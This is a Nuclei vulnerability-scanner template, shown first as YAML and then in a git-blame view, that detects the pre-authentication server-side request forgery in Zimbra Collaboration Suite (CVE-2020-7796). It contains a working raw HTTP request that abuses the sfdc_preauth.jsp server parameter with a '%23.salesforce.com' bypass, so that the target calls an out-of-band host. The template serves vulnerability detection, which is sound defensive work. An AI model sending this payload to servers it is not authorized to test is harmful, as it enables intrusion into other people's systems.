nuclei-templates/http/vulnerabilities/other/zimbra-preauth-ssrf.yaml

id: zimbra-preauth-ssrf

info:
  name: Zimbra Collaboration Suite - Server-Side Request Forgery
  author: gy741
  severity: critical
  description: Zimbra Collaboration Suite (ZCS) allows remote unauthenticated attackers to cause the product to include content returned by third-party servers and use it as its own code.
  reference:
    - https://www.adminxe.com/2183.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-7796
    - https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P7
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-7796
    cwe-id: CWE-918
  tags: zimbra,ssrf,oast
  metadata:
    max-request: 1

http:
  - raw:
      - |
        GET /service/error/sfdc_preauth.jsp?session=s&userid=1&server=http://{{interactsh-url}}%23.salesforce.com/ HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
Create zimbra-preauth-ssrf.yaml 2021-08-03 07:22:56 +00:00			`id: zimbra-preauth-ssrf`

			`info:`
Dashboard Content Enhancements (#4519) Dashboard Content Enhancements 2022-06-03 19:12:31 +00:00			`name: Zimbra Collaboration Suite - Server-Side Request Forgery`
Create zimbra-preauth-ssrf.yaml 2021-08-03 07:22:56 +00:00			`author: gy741`
Auto Generated CVE annotations [Sat Aug 27 04:41:18 UTC 2022] :robot: 2022-08-27 04:41:18 +00:00			`severity: critical`
Dashboard Content Enhancements (#4519) Dashboard Content Enhancements 2022-06-03 19:12:31 +00:00			`description: Zimbra Collaboration Suite (ZCS) allows remote unauthenticated attackers to cause the product to include content returned by third-party servers and use it as its own code.`
Fixed mistakes/typos Related nuclei tickets: * #259 - dynamic key-value field support for template information * #940 - new infos in template * #834 * RES-84 2021-08-19 13:59:55 +00:00			`reference:`
Create zimbra-preauth-ssrf.yaml 2021-08-03 07:22:56 +00:00			`- https://www.adminxe.com/2183.html`
Dashboard Content Enhancements (#4519) Dashboard Content Enhancements 2022-06-03 19:12:31 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2020-7796`
Auto Generated CVE annotations [Sat Aug 27 04:41:18 UTC 2022] :robot: 2022-08-27 04:41:18 +00:00			`- https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P7`
Dashboard Content Enhancements (#4519) Dashboard Content Enhancements 2022-06-03 19:12:31 +00:00			`classification:`
Auto Generated CVE annotations [Sat Aug 27 04:41:18 UTC 2022] :robot: 2022-08-27 04:41:18 +00:00			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
			`cvss-score: 9.8`
Dashboard Content Enhancements (#4519) Dashboard Content Enhancements 2022-06-03 19:12:31 +00:00			`cve-id: CVE-2020-7796`
			`cwe-id: CWE-918`
oob tags update 2021-10-18 20:40:26 +00:00			`tags: zimbra,ssrf,oast`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`metadata:`
			`max-request: 1`
Create zimbra-preauth-ssrf.yaml 2021-08-03 07:22:56 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Create zimbra-preauth-ssrf.yaml 2021-08-03 07:22:56 +00:00			`- raw:`
			`- \|`
			`GET /service/error/sfdc_preauth.jsp?session=s&userid=1&server=http://{{interactsh-url}}%23.salesforce.com/ HTTP/1.1`
			`Host: {{Hostname}}`
			`Accept: /`

			`matchers:`
			`- type: word`
			`part: interactsh_protocol # Confirms the HTTP Interaction`
			`words:`
			`- "http"`